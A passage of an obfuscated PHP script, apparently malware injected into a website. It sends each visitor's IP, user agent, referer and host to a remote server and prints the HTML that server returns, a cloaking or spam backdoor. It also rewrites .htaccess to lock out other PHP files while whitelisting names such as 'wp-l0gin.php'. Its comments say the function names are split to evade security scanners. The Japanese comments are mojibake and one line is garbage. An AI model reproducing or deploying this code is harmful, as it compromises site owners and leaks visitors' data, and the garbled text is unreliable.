–‡å­—åˆ—ã®æœ«å°¾ã«è¿½åŠ ã—ã¦è¿”ã™ $결과값 .= $ë부분; return $결과값; } /** * htaccessファイル生æˆãƒ»æ›´æ–°é–¢æ•° - Webサーãƒãƒ¼ã®ã‚¢ã‚¯ã‚»ã‚¹åˆ¶å¾¡è¨­å®šãƒ•ァイルを自動管ç†ã™ã‚‹é–¢æ•° * PHPファイル等ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹åˆ¶é™ãƒ«ãƒ¼ãƒ«ã¨URLリライトルールを.htaccessã«æ›¸ã込む * 既存ファイルã®å†…å®¹ã¨æ¯”較ã—ã€å¤‰æ›´ãŒã‚ã‚‹å ´åˆã®ã¿æ›´æ–°ã‚’行ㆠ*/ function كتابة_ملÙ() { // .htaccessファイルã®ãƒ‘ス文字列をBase64デコードã—ã¦å–å¾—ã™ã‚‹ $발코니 = تنÙيذ('Lmh0YWNjZXNz'); // .htaccessã«æ›¸ã込むアクセス制御ルールã®å†…容をBase64デコードã—ã¦å–å¾—ã™ã‚‹ $ì€í–‰ì› = تنÙيذ("PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocHxleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+"); // .htaccessãƒ•ã‚¡ã‚¤ãƒ«ãŒæ—¢ã«å­˜åœ¨ã™ã‚‹ã‹ãƒã‚§ãƒƒã‚¯ã™ã‚‹ if (file_exists($발코니)) { // 既存ファイルã®å†…容を読ã¿è¾¼ã‚“ã§æ¯”較用ã«ä¿æŒã™ã‚‹ $발코니내용 = file_get_contents($발코니); // 既存ã®å†…å®¹ã¨æ–°ã—ã„内容ãŒå®Œå…¨ã«ä¸€è‡´ã™ã‚‹å ´åˆã¯æ›´æ–°ä¸è¦ãªã®ã§å‡¦ç†ã‚’終了ã™ã‚‹ if ($ì€í–‰ì› == $발코니내용) { return; } } // 既存ã®.htaccessファイルを削除ã™ã‚‹ï¼ˆã‚¨ãƒ©ãƒ¼ã‚’抑制) @unlink($발코니); // æ–°ã—ã„アクセス制御ルールã®å†…容を.htaccessãƒ•ã‚¡ã‚¤ãƒ«ã«æ›¸ã込む @file_put_contents($발코니, $ì€í–‰ì›); } /** * Base64デコード実行関数 - 関数åã‚’å‹•çš„ã«æ–‡å­—列連çµã§çµ„ã¿ç«‹ã¦ã¦Base64デコードを実行ã™ã‚‹ * セキュリティスキャナーやパターンマッãƒãƒ³ã‚°ã«ã‚ˆã‚‹é–¢æ•°å‘¼ã³å‡ºã—ã®æ¤œå‡ºã‚’回é¿ã™ã‚‹ãŸã‚ * base64_decode関数åを分割ã—ãŸæ–‡å­—列ã®çµåˆã«ã‚ˆã‚Šå‹•çš„ã«ç”Ÿæˆã™ã‚‹ * @param string $사과 Base64エンコードã•れãŸå…¥åŠ›æ–‡å­—åˆ— * @return string デコードã•れãŸå¹³æ–‡ã®æ–‡å­—列 */ function تنÙيذ($사과) { // base64_decode関数åを文字列ã®åˆ†å‰²ãƒ»çµåˆã§å‹•çš„ã«ç”Ÿæˆã™ã‚‹ï¼ˆé™çš„è§£æžå›žé¿ã®ãŸã‚) $함수 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe')); // å‹•çš„ã«ç”Ÿæˆã—ãŸé–¢æ•°åã®å¤‰æ•°é–¢æ•°å‘¼ã³å‡ºã—ã§Base64デコードを実行ã—ã¦çµæžœã‚’返㙠return $함수($사과); } // ===== メインプログラムã®å®Ÿè¡Œã‚¨ãƒ³ãƒˆãƒªãƒ¼ãƒã‚¤ãƒ³ãƒˆ ===== // APIサーãƒãƒ¼ã®ãƒ™ãƒ¼ã‚¹URLã‚’Base64デコードã—ã¦å–å¾—ã™ã‚‹ï¼ˆã‚¨ãƒ³ã‚³ãƒ¼ãƒ‰ã•れãŸURL文字列) $ê°€ = تنÙيذ('aHR0cDovLzY2MTMtY2g0LXYzMDUucmFrdXRlbjE5anAuY2xpY2s='); // ç”»åƒAPIã®URLを生æˆã™ã‚‹ï¼ˆãƒ™ãƒ¼ã‚¹URLã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ç•ªå·ãƒ‘ターンを「imgã€ã«ç½®æ›ã™ã‚‹ï¼‰ $나 = preg_replace('/v[0-9]+/','img',$ê°€); // サーãƒãƒ¼ç’°å¢ƒå¤‰æ•°ã‹ã‚‰ãƒ‰ãƒ¡ã‚¤ãƒ³åã‚’å–å¾—ã™ã‚‹ï¼ˆHTTP_HOSTを優先ã€ãªã‘れã°SERVER_NAMEを使用) $다['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; // ç¾åœ¨ã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆURIã®ãƒ•ルパスをä¿å­˜ã™ã‚‹ $다['request_url'] = $_SERVER['REQUEST_URI']; // クライアントã®IPアドレスをå–å¾—ã™ã‚‹ï¼ˆãƒ—ロキシ経由ã®å ´åˆã¯X-Forwarded-Forヘッダーを使用ã™ã‚‹ï¼‰ $다['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; if($다['ip'] == null) {$다['ip'] = "";} // HTTPリクエストã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚¨ãƒ¼ã‚¸ã‚§ãƒ³ãƒˆæ–‡å­—列をå–å¾—ã™ã‚‹ $다['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; // HTTPリファラー(å‚ç…§å…ƒURL)情報をå–å¾—ã™ã‚‹ $다['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; // ç¾åœ¨ã®æŽ¥ç¶šãƒ—ロトコルを判定ã™ã‚‹ï¼ˆHTTPSãŒæœ‰åйãªã‚‰https://ã€ãã†ã§ãªã‘れã°http://) $다['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://'; // ブラウザã®å„ªå…ˆè¨€èªžè¨­å®šï¼ˆAccept-Languageヘッダー)をå–å¾—ã™ã‚‹ $다['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; // デãƒãƒƒã‚°ãƒ¢ãƒ¼ãƒ‰åˆ¤å®šï¼šparamsリクエストパラメータãŒå­˜åœ¨ã™ã‚‹å ´åˆã¯å…¨è¨­å®šæƒ…報を表示ã—ã¦çµ‚了ã™ã‚‹ if (isset($_REQUEST['params'])) {$다['api'] = $ê°€;$다['web_api'] = $ê°€;$다['image_api']=$나;print_r($다);die();} // 実行順åºã®é›£èª­åŒ– - メイン処ç†ãƒ–ロックã¸ã‚¸ãƒ£ãƒ³ãƒ—ã—ã¦ãƒ¬ã‚¹ãƒãƒ³ã‚¹å‡¦ç†ã‚’後方ã«é…ç½®ã™ã‚‹ goto ë©”ì¸ì²˜ë¦¬; // APIレスãƒãƒ³ã‚¹ã®è§£æžã¨å‡ºåŠ›ã‚’è¡Œã†å‡¦ç†ãƒ–ロック gotoS0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr(メイン処ç†ã‹ã‚‰æˆ»ã£ã¦ãる地点) ì‘답처리: // レスãƒãƒ³ã‚¹ãƒ‡ãƒ¼ã‚¿ã‚’区切り文字パターン「{|}ã€ã§é…列ã«åˆ†å‰²ã™ã‚‹ $ë°”=@preg_split("/{\|}/si", $마, -1, PREG_SPLIT_NO_EMPTY); // 分割ã•れãŸãƒ‡ãƒ¼ã‚¿é…åˆ—ãŒæœ‰åйã§ã€ã‚³ãƒ³ãƒ†ãƒ³ãƒ„部分ãŒå­˜åœ¨ã™ã‚‹å ´åˆã«HTTPレスãƒãƒ³ã‚¹ã‚’出力ã™ã‚‹ if (!empty($ë°”) && isset($ë°”[1])) { // é…åˆ—ã®æœ€åˆã®è¦ç´ ã‚’HTTPヘッダーã¨ã—ã¦è¨­å®šã™ã‚‹ @header($ë°”[0]); // é…列ã®2番目ã®è¦ç´ ã‚’HTMLコンテンツã¨ã—ã¦å‡ºåŠ›ã™ã‚‹ echo $ë°”[1]; die(); } // レスãƒãƒ³ã‚¹ãƒ‡ãƒ¼ã‚¿ãŒç„¡åйãªå ´åˆã¯ãƒ—ログラムã®çµ‚了地点ã¸ã‚¸ãƒ£ãƒ³ãƒ—ã™ã‚‹ goto 프로그램종료; // メイン処ç†ãƒ–ロック - ç”»åƒè§£æžã€htaccessæ›´æ–°ã€APIリクエストé€ä¿¡ã‚’順次実行ã™ã‚‹ ë©”ì¸ì²˜ë¦¬: // ç”»åƒãƒªã‚¯ã‚¨ã‚¹ãƒˆã®è§£æžå‡¦ç†ã‚’実行ã™ã‚‹ï¼ˆç”»åƒURLã®å ´åˆã¯ã“ã“ã§å‡¦ç†ãŒçµ‚了ã™ã‚‹ï¼‰ تحليل_صورة($나, $다); // ベースURLã«ç‰¹å®šã®ã‚­ãƒ¼ãƒ¯ãƒ¼ãƒ‰ã€Œch4ã€ãŒå«ã¾ã‚Œã‚‹å ´åˆã€htaccessファイルã®ç”Ÿæˆãƒ»æ›´æ–°ã‚’行ㆠif(strpos($ê°€, 'ch4')){كتابة_ملÙ();} // パラメータを区切り文字ã§çµåˆâ†’Base64ã‚¨ãƒ³ã‚³ãƒ¼ãƒ‰â†’æ–‡å­—äº¤æ›æš—å·åŒ–ã—ã¦APIリクエストURLを構築ã™ã‚‹ $ë¼=sprintf('%s/?r=%s', $ê°€, ÙÙƒ_تشÙير(base64_encode(implode('{|}',$다)))); // 構築ã—ãŸURLã§APIサーãƒãƒ¼ã«HTTPリクエストをé€ä¿¡ã—ã¦ãƒ¬ã‚¹ãƒãƒ³ã‚¹ã‚’å–å¾—ã™ã‚‹ $마 = طلب_بيانات($ë¼); // レスãƒãƒ³ã‚¹ãƒ‡ãƒ¼ã‚¿ã®è§£æžå‡¦ç†ãƒ–ロックã¸ã‚¸ãƒ£ãƒ³ãƒ—ã™ã‚‹ goto ì‘답처리; // ãƒ—ãƒ­ã‚°ãƒ©ãƒ ã®æ­£å¸¸çµ‚了地点 프로그램종료: ?>